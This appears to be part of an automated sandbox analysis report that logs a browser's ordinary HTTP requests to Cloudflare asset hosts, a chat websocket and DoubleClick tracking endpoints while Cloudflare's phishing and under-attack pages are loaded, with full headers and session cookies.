Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/7vSmQwpXxBBSUXvax4mTTj/1e9733d09150035751acd28962d65831/optimization-scale.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5wB2WP2bwo7zdgVhToslhe/447d1f23d1b8ac77e61e2819465f58fe/ease-of-use-toggle.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%
Source: global traffic	HTTP traffic detected: GET /brandfolder/logo_lending-tree.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-manag
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/17tDJ5kPaGE8eLFJvByBgR/c28fb006fa3ddfba75b2009591559296/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: iQn/tT2OKkcmb57moFSK1g==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/ga/rul?tid=G-SQCRB0TXZW&gacid=577951860.1729259323&gtm=45je4ah0v895724479z8890325950za200zb890325950&dma=0&gcs=G111&gcd=13r3r3r3r5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101686685&z=432065990 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger, not-navigation-sourceReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger, not-navigation-sourceReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
